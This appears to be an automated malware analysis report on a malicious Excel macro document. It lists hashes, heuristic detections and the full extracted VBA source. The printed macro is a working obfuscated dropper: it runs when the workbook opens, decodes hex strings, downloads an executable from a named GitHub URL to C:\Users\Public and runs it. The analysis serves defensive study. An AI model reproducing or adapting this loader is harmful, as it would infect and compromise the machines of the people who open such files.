Office (OOXML) malware analysis — malicious · 22b81e827a270077

MALICIOUS

Office (OOXML)

268.0 KB First seen: 2020-09-15

MD5: 35bae98fc38a4466583266ca18102fd9 SHA-1: 34bb8cdfa84b18c9c0531b119126139b83f89688 SHA-256: 22b81e827a27007711a92a72e5b7b72ae1f4da6e8bd707c784751cdabfc0e763

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Office document containing a Workbook_Open VBA macro. This macro is obfuscated and uses CreateObject to download a file from the URL "http://github.com/alby101/sd/raw/master/INDIGOIDS.exe" and execute it. This behavior is consistent with a macro-based dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.write uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6644 bytes
SHA-256: `f88ed138b59c82c603e350440e743772e341e16d80c5e21e3ebe27ed0d5d7d29`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select gebjmhtxqumznrnnbgorvkohixhrcjimxgbnvrjgjjfiibawlnbakfjvqubpzbugmzcgparjxihlfgzhwkgoihbrxgwbqugioywi"68 74 74 70 3A 2F 2F 67 69 74 68 75 62 2E 63 6F 6D 2F 61 6C 62 79 31 30 31 2F 73 64 2F 72 61 77 2F 6D 61 73 74 65 72 2F 49 4E 44 49 47 4F 49 44 53 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub gebjmhtxqumznrnnbgorvkohixhrcjimxgbnvrjgjjfiibawlnbakfjvqubpzbugmzcgparjxihlfgzhwkgoihbrxgwbqugioywi (lnmeyffmsskyuhdjtmauownseapvhhreqqbkppetfcohccfwkmkrhtoozuaxpjelafiegsueihpmhfpbvslvxaxwbmkupgdvxdgx As String) Dim uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb Range("A6:J13").Select Dim wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc Range("A6:J13").Select Dim fbtiuzgnbqofpcfsbpeipcvxgqjgzsbkilcqlfpwfcujmlkrfpbfsvmcfvcepznjpdxdaohwzhdnimlufsbjqwsmyzlqckgfokti Range("A6:J13").Select Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set fbtiuzgnbqofpcfsbpeipcvxgqjgzsbkilcqlfpwfcujmlkrfpbfsvmcfvcepznjpdxdaohwzhdnimlufsbjqwsmyzlqckgfokti = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) odsnsqiffodzfthqtraavmteqtnkvavgyvsixlnkseymcioqsbwzrbxcjnwzcyjftwbkbyshepirngcifxsudvpwxqyjpnhuussf = zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr(lnmeyffmsskyuhdjtmauownseapvhhreqqbkppetfcohccfwkmkrhtoozuaxpjelafiegsueihpmhfpbvslvxaxwbmkupgdvxdgx) hdptipvbtfoclouffpbxhemkaisqhnxvoxabhzlnzndscvyatcperuxcqesaxftfitooosygeoxubuiejrwfytdtzyldgkquuxkj = zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 69 7A 72 6B 70 6B 78 67 2e 65 78 65") gkmbeizcxdbvvoqfinhopvpqhvztydadkzxzfvbptawvwphsuklgqvukvwtjjgetdylwqrznmrvozttrnhznsumofmejbsgnwcsy = zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 69 7A 72 6B 70 6B 78 67 2e 65 78 65") uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.Open chr(71) + chr(69) + chr(84), odsnsqiffodzfthqtraavmteqtnkvavgyvsixlnkseymcioqsbwzrbxcjnwzcyjftwbkbyshepirngcifxsudvpwxqyjpnhuussf, False uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.send wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.Type = 1 wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.Open wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.write uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.responseBody wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.savetofile hdptipvbtfoclouffpbxhemkaisqhnxvoxabhzlnzndscvyatcperuxcqesaxftfitooosygeoxubuiejrwfytdtzyldgkquuxkj, 2 fbtiuzgnbqofpcfsbpeipcvxgqjgzsbkilcqlfpwfcujmlkrfpbfsvmcfvcepznjpdxdaohwzhdnimlufsbjqwsmyzlqckgfokti.Run gkmbeizcxdbvvoqfinhopvpqhvztydadkzxzfvbptawvwphsuklgqvukvwtjjgetdylwqrznmrvozttrnhznsumofmejbsgnwcsy End Sub Public Function zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr(ByVal ngrriffkszusjhyxydstlkebdrtobyyxtdhzbjblqiuzesguljgkszwcbpormqjtaxzfazwochddpewkkycrrnftgexlvjzzyayh As String) As String Dim sbumnrikwtmwtdgnorcnsgzwbktsidepgprjeqdafuxmrarsdllhylombykcypbspxqdlxjxobhximfbsbpxsxquafhggacqtext As String Dim jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc As String Dim rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs As Long For rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs = 1 To Len(ngrriffkszusjhyxydstlkebdrtobyyxtdhzbjblqiuzesguljgkszwcbpormqjtaxzfazwochddpewkkycrrnftgexlvjzzyayh)Step 3 sbumnrikwtmwtdgnorcnsgzwbktsidepgprjeqdafuxmrarsdllhylombykcypbspxqdlxjxobhximfbsbpxsxquafhggacqtext = Chr$(Val("&H" & Mid$(ngrriffkszusjhyxydstlkebdrtobyyxtdhzbjblqiuzesguljgkszwcbpormqjtaxzfazwochddpewkkycrrnftgexlvjzzyayh, rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs, 2))) jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc = jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc & sbumnrikwtmwtdgnorcnsgzwbktsidepgprjeqdafuxmrarsdllhylombykcypbspxqdlxjxobhximfbsbpxsxquafhggacqtext Next rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr = jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc End Function Attribute VB_Name = "ekbdkxtyaflbccvbgrbjlwrem" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `15b77a61126ecfc2aa767986857e54a111489996cd51318aa50dd048df66ddd0`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 131 of 207 identifiers look randomly generated (e.g. 'ekbdkxtyaflbccvbgrbjlwrem') — consistent with name-mangling obfuscation.

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